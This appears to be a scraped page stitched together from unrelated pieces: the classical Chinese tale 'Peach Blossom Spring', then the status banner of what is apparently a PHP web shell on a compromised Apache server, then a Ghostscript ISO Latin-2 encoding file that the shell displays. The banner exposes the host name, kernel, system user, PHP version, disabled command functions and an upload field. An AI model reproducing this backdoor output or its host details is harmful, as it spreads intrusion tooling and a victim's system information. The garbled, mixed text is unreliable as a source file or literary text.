晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /usr/share/ghostscript/lib/ |
Upload File : |
% Copyright (C) 2001-2019 Artifex Software, Inc.
% All Rights Reserved.
%
% This software is provided AS-IS with no warranty, either express or
% implied.
%
% This software is distributed under license and may not be copied,
% modified or distributed except as expressly authorized under the terms
% of the license contained in the file LICENSE in this distribution.
%
% Refer to licensing information at http://www.artifex.com or contact
% Artifex Software, Inc., 1305 Grant Avenue - Suite 200, Novato,
% CA 94945, U.S.A., +1(415)492-9861, for further information.
%
% Define the ISO Latin-2 (8859-2) encoding vector.
% The original version of this encoding vector used Unicode names, rather
% than Adobe names, for many characters. Here are the names that appeared
% in the original version:
% \047 /quoteright /apostrophe
% \056 /period /fullstop
% \137 /underscore /lowline
% \140 /quoteleft /grave
% \055 is /hyphen in StandardEncoding, but /minus in 8859-1; we follow
% 8859-1 here. In addition, the following substitutions were made:
% /Lstroke => /Lslash
% /Dstroke => /Dcroat
% /*diaeresis => /*dieresis
% /softhyphen => /hyphen
% /*abovedot => /*dotaccent
% /*doubleacute => /*hungarumlaut
% /division => /divide
% /ssharp => /germandbls
/currentglobal where
{ pop currentglobal { setglobal } true setglobal }
{ { } }
ifelse
/ISOLatin2Encoding
% The first 144 entries are the same as the ISO Latin-1 encoding.
ISOLatin1Encoding 0 144 getinterval aload pop
% \22x
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef
% \24x
/nbspace /Aogonek /breve /Lslash /currency /Lcaron /Sacute /section
/dieresis /Scaron /Scedilla /Tcaron /Zacute /hyphen /Zcaron /Zdotaccent
/degree /aogonek /ogonek /lslash /acute /lcaron /sacute /caron
/cedilla /scaron /scedilla /tcaron /zacute /hungarumlaut /zcaron /zdotaccent
% \30x
/Racute /Aacute /Acircumflex /Abreve /Adieresis /Lacute /Cacute /Ccedilla
/Ccaron /Eacute /Eogonek /Edieresis /Ecaron /Iacute /Icircumflex /Dcaron
/Dcroat /Nacute /Ncaron /Oacute /Ocircumflex /Ohungarumlaut /Odieresis /multiply
/Rcaron /Uring /Uacute /Uhungarumlaut /Udieresis /Yacute /Tcedilla /germandbls
% \34x
/racute /aacute /acircumflex /abreve /adieresis /lacute /cacute /ccedilla
/ccaron /eacute /eogonek /edieresis /ecaron /iacute /icircumflex /dcaron
/dcroat /nacute /ncaron /oacute /ocircumflex /ohungarumlaut /odieresis /divide
/rcaron /uring /uacute /uhungarumlaut /udieresis /yacute /tcedilla /dotaccent
256 packedarray .defineencoding
exec